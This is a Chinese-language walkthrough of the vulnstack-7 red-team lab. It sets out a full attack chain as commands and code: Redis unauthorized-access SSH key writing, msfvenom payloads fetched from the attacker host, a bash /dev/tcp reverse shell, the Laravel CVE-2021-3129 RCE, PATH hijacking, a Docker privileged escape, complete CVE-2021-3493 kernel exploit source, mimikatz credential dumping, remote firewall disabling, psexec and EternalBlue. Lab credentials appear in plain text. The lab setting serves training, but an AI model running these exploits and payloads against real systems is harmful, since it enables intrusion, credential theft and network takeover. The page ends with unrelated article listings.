vulnstack-7(红日靶场七)

环境配置

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:漏洞详情icon-default.png?t=N7T8http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

添加两个网卡

DMZ区域:

给Ubuntu (Web 1) 配置了两个网卡,一个可以对外提供服务;一个连接第二层网络。

第二层网络区域:

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接第二层网络,一个连接第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,连接第三层网络。

Ubuntu (Web 1)

buntu (Web 2) 和Windows 7 (PC 1)

Pc1

Windows Server 2012和Windows 7 (PC 2)

Pc2

Windows Server 2012

域用户信息

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1: web:web2021

Ubuntu 2: ubuntu:ubuntu

通达OA账户: admin:admin657260

配置开启

渗透之前,我们还需要到开启相应的服务配置,每次开机都需要进行配置开启

DMZ区的 Ubuntu 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

解决80端口占用问题

sudo netstat -ntlp

kill -9 790

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

外网打点

这肯定得祭出我的nmap开干对192.168.16.111 进行扫描

nmap -sV -p 1-65535 192.168.16.111

有80、81 nginx服务 然后6379 redis数据库,我们先从80、81端口下手

192.168.16.111

redis未授权访问

https://www.cnblogs.com/bmjoker/p/9548962.html

redis-cli -h 192.168.16.111

详细步骤:
在攻击机本地生成公钥文件:
公钥文件默认路径:/root/.ssh/id_rsa.pub

ssh-keygen -t ras

/home/kali/.ssh/id_rsa.pub

/home/kali/.ssh/id_rsa

存放公私钥

具体命令:

ssh-keygen -t rsa
cd /root/.ssh
ls

cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali

然后通过未授权访问目标机

具体命令

redis-cli -h 192.168.16.111 #连接目标主机

config get dir #检查当前保存路径

config get dbfilename #检查保存文件名

config set dir /root/.ssh/ #设置保存路径

config set dbfilename authorized_keys #设置保存文件名

set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健

set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali \n\n\n"

#将公钥写入xz健

Save

 #进行保存

利用公钥进行SSH登录攻击机

利用公钥进行SSH登录攻击机

ssh -i /root/.ssh/id_rsa root@192.168.16.111

上线msf

靶机下载shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf

python -m http.server 80

wget http://192.168.16.104/shell.elf

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 1234

exploit

成功上线

添加路由

run get_local_subnets

run autoroute -p

run post/multi/manage/autoroute

run autoroute -p

web1信息收集

s /home下的文件发现有目录web

cd /etc/nginx/conf.d/

发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口的配置

发现81端口进行了反向代理

Laravel

访问81端口

查看版本

Laravel Debug RCE(CVE-2021-3129)

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。这里直接使用工具 getshell,工具下载地址:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

使用哥斯拉2.92版本可以直接连接

注意:高版本的哥斯拉生成的马的加密方式已经改变会导致连接失败

https://github.com/BeichenDream/Godzilla

第一台的权限我们已经使用ssh登录成功获取了,第一次的webshll实际是获取了第二台的docker权限,因此我们可以通过webshell将第二台主机的docker权限弹回我们的已经获取的第一台里面去,再对其进行后续操作,可以看到已经反弹shell成功。

bash -c exec bash -i &>/dev/tcp/192.168.52.10/8848<&1

提权

现在我们获取的是docker,需要进行docker逃逸,都是docker逃逸需要root,因此我们需要进行提权,寻找一下看看可不可以具有SUID或4000权限的文件来进行提权

find / -perm -u=s -type f 2>/dev/null

发现一个shell文件,试着执行或者读取一下这个文件

cd /home/jobs

该shell功能是展示ps进程,那么我们可以利用环境变量进行提权

我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找我们写的恶意ps

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

运行shell后发现我们的权限提高成root了

此方法称为环境变量劫持

再来一个tty的交互式

python -c 'import pty; pty.spawn("/bin/bash")'

现在我们实现了www用户到root用户的权限提升,但可惜我们这台并不是实体机我们需要docker特权逃逸

特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

mkdir /hi

尝试将/dev/sda1挂载到/hi目录里

mount /dev/sda1 /hi

ls /hi

我们在刚才获取的web1主机上生成一个ssh密钥

接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以使用密钥登录改机器

ssh-keygen -f hi

chmod 777 hi

我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中

Web1(root)生成rsa

ssh-keygen -t rsa

cd /root/.ssh

ls

cat id_rsa.pub

公钥写入web2

echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI1p1D1I5WUZIaymEmmiDc4FO8XI9JaXV0Sk2zPaAT5BBASuvvYwGUXGIZbrX666ut1mYFxlWr6tn0l7E9tille27Rut051MINW8bxQmL9KthH+jPuRsBTaX2lhqra8ClLmUFzSluuaGZS+aO7We6jcVp6uDP1AUDNtfsg8xf7TIXM0hBhE+EwaopGukraqSUQDYJq4Oyi3GAy29KdMQSdL/QGFCihCE/WfPaU+15C4pYuoP6nV1KdgO96PXBkBIPtWb0XJN12OPSJGBjt6EgYNA388nHAN0CHpNywAKD0ft702fo5qbdKrApO6pAyy93eRX3Y1ImGB1GTQi4tl5pH root@ubuntu' > /hi/home/ubuntu/.ssh/authorized_keys

然后我们查看一下是否写入成功

cat /hi/home/ubuntu/.ssh/authorized_keys

登录

ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20

权限提升

uname -a

发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞

https://github.com/briskets/CVE-2021-3493

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

(Linux内核版本 < 5.11)

我们首先建立一个exploit.c文件,然后将脚本内容粘贴进行,然后编译运行就可以获得权限

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"static void xmkdir(const char *path, mode_t mode)
{if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, "mkdir %s", path);
}static void xwritefile(const char *path, const char *data)
{int fd = open(path, O_WRONLY);if (fd == -1)err(1, "open %s", path);ssize_t len = (ssize_t) strlen(data);if (write(fd, data, len) != len)err(1, "write %s", path);close(fd);
}static void xcopyfile(const char *src, const char *dst, mode_t mode)
{int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, "open %s", src);if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, "open %s", dst);char buf[4096];ssize_t rd, wr;for (;;) {rd = read(fi, buf, sizeof(buf));if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, "read %s", src);}char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue;err(1, "write %s", dst);}p += wr;rd -= wr;}}close(fi);close(fo);
}static int exploit()
{char buf[4096];sprintf(buf, "rm -rf '%s/'", DIR_BASE);system(buf);xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK,  0777);xmkdir(DIR_LOWER, 0777);xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, "unshare");xwritefile("/proc/self/setgroups", "deny");sprintf(buf, "0 %d 1", uid);xwritefile("/proc/self/uid_map", buf);sprintf(buf, "0 %d 1", gid);xwritefile("/proc/self/gid_map", buf);sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)err(1, "mount %s", DIR_MERGE);// all+epchar cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";xcopyfile("/proc/self/exe", BIN_MERGE, 0777);if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)err(1, "setxattr %s", BIN_MERGE);return 0;
}int main(int argc, char *argv[])
{if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {setuid(0);setgid(0);execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);err(1, "execl /bin/bash");}pid_t child = fork();if (child == -1)err(1, "fork");if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0);}execl(BIN_UPPER, BIN_UPPER, "shell", NULL);err(1, "execl %s", BIN_UPPER);
}

vim exploit.c

gcc exploit.c -o exploit

chmod +x exploit

./exploit

MSF进攻内网

成功提权,接下来两台机子上线MSF进攻内网

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf

wget http://192.168.52.10:81/bind.elf

上线msf

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set RHOST 192.168.52.20

set LPORT 6666

run

隧道搭建
 

/home/kali/Desktop/ew-master/ew_for_linux64

nohup ./ew_for_linux64 -s rssocks -d 192.168.16.104 -e 4444

 ./ew_for_linux64 -s rcsocks -l 1080  -e 4444

访问内网

发现通达OA服务

通达OA任意文件上传

使用通达OA漏洞工具进行检测、利用
工具地址:GitHub - Fu5r0dah/TongdaScan_go: 通达OA漏洞检测工具-TongdaScan_go
漏洞检测

http://192.168.52.30:8080/_doit.php

密码:just

 收集信息和网卡信息,发现93网段有两台主机,进行msf93网段横向移动,

上线pc1

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe

哥斯拉上传木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 4444

set RHOST 192.168.52.30

域信息收集命令;

net view                 # 查看局域网内其他主机名

net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user                 # 查看本机用户列表

net user /domain         # 查看域用户

net localgroup administrators # 查看本地管理员组(通常会有域用户)

net view /domain         # 查看有几个域

net user 用户名 /domain   # 获取指定域用户的信息

net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

net group 组名 /domain    # 查看域中某工作组

net group "domain admins" /domain  # 查看域管理员的名字

net group "domain computers" /domain  # 查看域中的其他主机名

net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

发现93网段

kiwi模块

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

#kiwi不能在x64运行 必须要内存迁移

load kiwi

kiwi_cmd privilege::debug

ps

migrate 1832

kiwi_cmd sekurlsa::logonpasswords

可以看到一大堆明文密码,我们可以使用msf自带的 psexec进行移动,移动之前我们还需要关闭92.30网段的防火墙,利用ipc进行连接关闭防火墙

先建立ipc连接

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

创建关闭防火墙任务

sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"

执行

sc \\192.168.93.30 start unablefirewall

psexec进行横向

PSExec工具

使用PSExec前提:SMB服务必须开启以及可达。文件和打印机共享必须开启,禁止简单文件共享。

Admin$必须可以访问。PSExec使用的口令必须可以访问Admin$共享。

在PSExec可执行文件中含有一个Windows服务。它利用该服务并且在远端机器上部署Admin$。然后通过SMB使用DCE/RPC接口来访问Windows Service Control Manager API。然后在远程主机中开启PSExec访问。然后PSExec服务创建一个命名管道,用它来发送命令。

exploit/windows/smb/psexec

exploit在可执行文件中生成/嵌入一个payload,其本质是用过PSExec工具上传的一个服务image。然后exploit使用提供的口令来把服务可执行文件上传到Admin$中,连接到DEC/RPC接口,然后在告诉SCM启动我们部署的服务之前调用Service Control Manager。当服务启动后,创建一个rundll32.exe进程,在进程中分配可执行内存,然后把shellcode拷贝到进程中。然后调用内存地址,执行shellcode。

可执行文件由模板生成,可以由杀毒软件发现。

添加路由

run post/multi/manage/autoroute

run autoroute -p

抓取到域管理员的密码了,直接psexec登陆

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

set smbuser administrator

set smbpass Whoami2021

上线了

上线Pc2

这里可以直接打一波永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

set RHOST 192.168.93.40

set lport 5555

exploit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/397991.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端路由VueRouter总结

简介&#xff1a; Vue路由vue-router是官方的路由插件&#xff0c;能够轻松的管理 SPA 项目中组件的切换。Vue的单页面应用是基于路由和组件的&#xff0c;路由用于设定访问路径&#xff0c;并将路径和组件映射起来vue-router 目前有 3.x 的版本和 4.x 的版本&#xff0c;vue-…

设计模式(1)创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…

sliver源码分析-初始化以及脚手架

引言 项目概述&#xff1a;对开源的C2框架sliver进行源码分析&#xff0c;意图学习其原理。本篇分析sliver的入口以及脚手架&#xff0c;和基本的配置文件目标与读者&#xff1a;网络安全兴趣爱好者 准备工作 源码路径BishopFox/sliver: Adversary Emulation Framework (git…

[C++][opencv]基于opencv实现photoshop算法图像旋转

【测试环境】 vs2019 opencv4.8.0 【效果演示】 【核心实现代码】 //图像旋转: src为原图像&#xff0c; dst为新图像, angle为旋转角度, isClip表示是采取缩小图片的方式 int imageRotate4(InputArray src, OutputArray dst, double angle, bool isClip) {Mat input src.…

【c++】类和对象 (中) (类的默认成员函数)

类的默认成员函数 在C中&#xff0c;如果你定义了一个类但没有显式地提供特定的成员函数&#xff08;比如构造函数、析构函数、拷贝构造函数、拷贝赋值运算符等&#xff09;&#xff0c;编译器会为这些函数生成默认的实现。这些默认生成的成员函数称为类的默认成员函数。那么既…

C#学习笔记15:上位机助手_usercontrol窗体内嵌的应用

今日完善一下之前的上位机助手&#xff0c;做一个组合窗体内嵌的多功能助手软件应用, 与之前的上位机软件相比: 更注重控件能够随着窗体缩放而缩放变换&#xff0c;串口助手部分能自动后台检测串口设备&#xff0c;解决市面上大部分串口助手的打开初始化会卡顿的问题 ( 多线程后…

Linux服务管理-Nginx配置

静态解析主要解析html、css动态解析需要解析php 动态资源通过轮询分配到后端的Apache服务器处理 apache是同步阻塞&#xff0c;nginx是异步非阻塞

论文阅读笔记:Efficient Teacher: Semi-Supervised Object Detection for YOLOv5

Efficient Teacher: Semi-Supervised Object Detection for YOLOv5 1 背景1.1 动机1.2 问题 2 创新点3 方法4 模块4.1 伪标签分配4.2 Epoch Adapter 5 效果5.1 与SOTA方法对比5.2 消融实验 论文&#xff1a;https://arxiv.org/pdf/2302.07577v3.pdf 代码&#xff1a;https://g…

Python 常用内置函数

目录 1、enumerate函数 1.1、for循环中使用 1.2、enumerate指定索引的起始值 1.3、enumerate在线程中的作用 2、Map 函数 2.1、map()函数可以传多个迭代器对象 3、lambda表达式&#xff08;匿名函数&#xff09; 示例 4、sort函数和sorted函数 4.1、sort()函数 4.2、…

map和set的使用

关联式容器 在学习关联式容器之前&#xff0c;我们学习过的容器有vector、list、deque…这些容器称为序列式容器&#xff0c;单纯的存储数据存储的数据没有关联性。 即将学习的map 和set属于关联式容器&#xff0c;其里面存储的是<key, value>结构的键值对&#xff0c;…

制造知识普及(九)--企业内部物料编码(IPN)与制造商物料编码(MPN)

在日常的物料管理业务逻辑中&#xff0c;一物一码是物料管理的基本的业务规则&#xff0c;不管物料从产品开发还是仓库管理&#xff0c;甚至成本核算&#xff0c;都要遵循这个原则&#xff0c;才能保证产品数据的准确性&#xff0c;才具备唯一追溯的可行性。大部分企业都是这种…

某通电子文档安全管理系统 CDGAuthoriseTempletService1接口SQL注入漏洞复现 [附POC]

文章目录 某通电子文档安全管理系统 CDGAuthoriseTempletService1接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现0x06 修复建议某通电子文档安全管理系统 CDGAuthoriseTempletService1接口SQL注入漏…

C#数据类型转换

代码&#xff1a; using System; using System.Collections.Generic; using System.Linq; using System.Text;namespace Test05 {class Program{static void Main(string[] args){double db 2008;//声明一个double类型变量db&#xff0c;并初始化为2008object obj db;//对db…

JAVA实现判断小程序用户是否关注公众号

本文主要描述了判断小程序用户是否关注公众号的逻辑实现及部分代码 首先阐述一下大致流程&#xff1a; 1、在将小程序和公众号绑定至同一个微信开发平台下&#xff1b; 2、后端拉取公众号已关注用户列表&#xff0c;并获取其中每一个用户的unionID&#xff0c; 建立已关注用户…

OCR调研

OCR调研 一、介绍 OCR&#xff08;Optical Character Recognition&#xff0c;光学字符识别&#xff09;是一种将图像中的文字转换为计算机可处理格式的技术。OCR技术经历了从传统OCR到基于深度学习的OCR的转变。深度学习OCR技术通过模拟人脑神经元结构处理文本和图像数据&am…

MATLAB - 强化学习(Reinforcement Learning)

系列文章目录 前言 一、什么是强化学习&#xff1f; 强化学习是一种以目标为导向的计算方法&#xff0c;计算机通过与未知的动态环境交互来学习执行任务。这种学习方法能让计算机在没有人工干预和明确编程的情况下&#xff0c;做出一系列决策&#xff0c;使任务的累积奖励最大化…

cmake 编译教程

参考链接&#xff1a;cmake使用详细教程&#xff08;日常使用这一篇就足够了&#xff09;_cmake教程-CSDN博客 一、只有一个源文件的程序编译 首先在当前目录下创建两个文件 hello.cpp CMakeLists.txt &#xff08;注意CMakeLists大小写&#xff0c;不要写错了&#xff09; …

推荐一个优秀的 .NET MAUI 组件库

目录 前言 组件介绍 组件展示 布局 按钮 复选框 进度条 导航栏 组件地址 最后 前言 .NET MAUI 的发布&#xff0c;项目中可以使用这个新的跨平台 UI 框架来轻松搭建的移动和桌面应用。 为了帮助大家更快地构建美观且功能丰富的应用&#xff0c;本文将推荐一款优秀…

AcCode核心思路

文章目录 在线OJ项目核心思路1. 项目介绍2.预备知识理解多进程编程为啥采用多进程而不使用多线程?标准输入&标准输出&标准错误 3.项目实现题目API实现相关实体类定义新增/修改题目获取题目列表 编译运行编译运行流程 4.统一功能处理 在线OJ项目核心思路 1. 项目介绍 …

有序转化数组(LeetCode)

题目 给你一个已经 排好序 的整数数组 和整数 、 、 。对于数组中的每一个元素 &#xff0c;计算函数值 &#xff0c;请 按升序返回数组 。 解题 在时间复杂度为解决问题 def sortTransformedArray(nums, a, b, c):def f(x):return a * x * x b * x cn len(nums)result…